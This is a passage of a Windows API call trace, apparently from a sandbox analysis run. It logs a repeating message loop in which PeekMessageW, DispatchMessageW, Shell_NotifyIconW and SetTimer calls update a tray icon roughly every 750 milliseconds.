uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0205.503] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0206.243] TranslateMessage (lpMsg=0x130f614) returned 0 [0206.243] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0206.243] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0206.246] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0206.246] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0206.987] TranslateMessage (lpMsg=0x130f204) returned 0 [0206.987] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0206.988] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0206.991] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0206.991] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0207.738] TranslateMessage (lpMsg=0x130f204) returned 0 [0207.738] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0207.738] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0207.741] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0207.741] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0208.497] TranslateMessage (lpMsg=0x130f204) returned 0 [0208.497] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0208.497] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0208.500] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0208.500] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0209.241] TranslateMessage (lpMsg=0x130f204) returned 0 [0209.241] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0209.241] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0209.244] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0209.244] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0209.991] TranslateMessage (lpMsg=0x130f204) returned 0 [0209.991] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0209.991] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0209.994] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0209.994] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0210.741] TranslateMessage (lpMsg=0x130f204) returned 0 [0210.741] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0210.741] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0210.744] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0210.744] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0211.497] TranslateMessage (lpMsg=0x130f204) returned 0 [0211.497] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0211.497] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0211.500] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0211.500] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0212.245] TranslateMessage (lpMsg=0x130f204) returned 0 [0212.245] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0212.245] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0212.248] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0212.248] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0212.995] TranslateMessage (lpMsg=0x130f204) returned 0 [0212.995] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0212.995] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0212.999] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0212.999] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0213.745] TranslateMessage (lpMsg=0x130f204) returned 0 [0213.745] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0213.745] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0213.749] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0213.749] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0214.502] TranslateMessage (lpMsg=0x130f204) returned 0 [0214.502] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0214.502] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0214.504] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0214.504] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0215.245] TranslateMessage (lpMsg=0x130f204) returned 0 [0215.245] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0215.245] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0215.248] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0215.248] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0215.995] TranslateMessage (lpMsg=0x130f614) returned 0 [0215.995] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0215.995] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0215.998] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0215.998] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0216.745] TranslateMessage (lpMsg=0x130f86c) returned 0 [0216.745] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0216.745] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0216.748] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0216.748] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0217.507] TranslateMessage (lpMsg=0x130f86c) returned 0 [0217.507] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0217.508] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0217.510] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0217.510] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0218.252] TranslateMessage (lpMsg=0x130f614) returned 0 [0218.252] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0218.252] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0218.255] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0218.255] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0218.992] TranslateMessage (lpMsg=0x130f204) returned 0 [0218.992] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0218.992] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0218.994] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0218.994] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0219.742] TranslateMessage (lpMsg=0x130f204) returned 0 [0219.742] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0219.742] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0219.745] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0219.745] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0220.492] TranslateMessage (lpMsg=0x130f86c) returned 0 [0220.492] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0220.492] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0220.496] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0220.496] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0221.242] TranslateMessage (lpMsg=0x130f204) returned 0 [0221.242] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0221.242] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0221.245] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0221.245] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0221.992] TranslateMessage (lpMsg=0x130f86c) returned 0 [0221.992] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0221.992] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0221.994] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0221.995] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0222.742] TranslateMessage (lpMsg=0x130f614) returned 0 [0222.743] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0222.743] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0222.746] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0222.746] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0223.493] TranslateMessage (lpMsg=0x130f614) returned 0 [0223.493] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0223.493] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0223.496] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0223.496] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0224.242] TranslateMessage (lpMsg=0x130f204) returned 0 [0224.243] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0224.243] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0224.245] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0224.245] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0224.993] TranslateMessage (lpMsg=0x130f86c) returned 0 [0224.993] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0224.993] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0224.995] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0224.995] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0225.743] TranslateMessage (lpMsg=0x130f86c) returned 0 [0225.743] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0225.743] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0225.746] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0225.746] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0226.493] TranslateMessage (lpMsg=0x130f86c) returned 0 [0226.493] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0226.493] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0226.495] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0226.495] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0227.251] TranslateMessage (lpMsg=0x130f86c) returned 0 [0227.251] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0227.251] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0227.254] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0227.254] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0228.001] TranslateMessage (lpMsg=0x130f86c) returned 0 [0228.001] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0228.001] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0228.004] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0228.004] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0228.743] TranslateMessage (lpMsg=0x130f204) returned 0 [0228.743] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0228.743] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0228.747] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0228.747] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0229.493] TranslateMessage (lpMsg=0x130f86c) returned 0 [0229.494] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0229.494] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0229.496] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0229.496] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0230.243] TranslateMessage (lpMsg=0x130f204) returned 0 [0230.243] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0230.243] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0230.246] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0230.246] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0230.993] TranslateMessage (lpMsg=0x130f86c) returned 0 [0230.993] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0230.993] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0230.996] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0230.996] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0231.744] TranslateMessage (lpMsg=0x130f86c) returned 0 [0231.744] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0231.744] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0231.747] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0231.747] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0232.495] TranslateMessage (lpMsg=0x130f204) returned 0 [0232.495] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0232.495] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0232.498] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0232.498] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0233.246] TranslateMessage (lpMsg=0x130f204) returned 0 [0233.246] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0233.246] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0233.249] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0233.249] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0233.995] TranslateMessage (lpMsg=0x130f614) returned 0 [0233.995] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0233.995] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0233.998] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0233.998] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0234.745] TranslateMessage (lpMsg=0x130f86c) returned 0 [0234.745] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0234.745] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0234.748] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0234.748] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0235.495] TranslateMessage (lpMsg=0x130f614) returned 0 [0235.495] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0235.495] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0235.499] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0235.499] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0236.245] TranslateMessage (lpMsg=0x130f204) returned 0 [0236.245] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0236.245] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0236.248] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0236.248] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0236.995] TranslateMessage (lpMsg=0x130f614) returned 0 [0236.995] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0236.995] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0236.997] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0236.997] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0237.751] TranslateMessage (lpMsg=0x130f204) returned 0 [0237.751] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0237.751] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0237.754] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0237.754] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0238.491] TranslateMessage (lpMsg=0x130f204) returned 0 [0238.491] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0238.492] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0238.494] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0238.494] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0239.241] TranslateMessage (lpMsg=0x130f204) returned 0 [0239.241] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0239.241] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0239.244] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0239.244] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0239.991] TranslateMessage (lpMsg=0x130f614) returned 0 [0239.991] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0239.991] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0239.995] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0239.995] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0240.742] TranslateMessage (lpMsg=0x130f86c) returned 0 [0240.742] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0240.742] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0240.744] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0240.744] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0241.491] TranslateMessage (lpMsg=0x130f204) returned 0 [0241.491] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0241.492] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0241.494] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0241.494] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0242.242] TranslateMessage (lpMsg=0x130f204) returned 0 [0242.242] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0242.242] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0242.245] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0242.245] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0242.992] TranslateMessage (lpMsg=0x130f204) returned 0 [0242.992] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0242.992] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0242.996] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0242.996] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0243.742] TranslateMessage (lpMsg=0x130f86c) returned 0 [0243.742] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0243.742] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0243.745] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0243.745] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0244.492] TranslateMessage (lpMsg=0x130f204) returned 0 [0244.492] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0244.492] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0244.495] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0244.495] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0245.242] TranslateMessage (lpMsg=0x130f86c) returned 0 [0245.242] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0245.242] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0245.245] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0245.245] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0245.992] TranslateMessage (lpMsg=0x130f204) returned 0 [0245.992] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0245.992] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0245.995] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0245.995] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0246.742] TranslateMessage (lpMsg=0x130f204) returned 0 [0246.742] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0246.742] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0246.745] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0246.745] PeekMessageW (in: lpMsg=0x130f204, 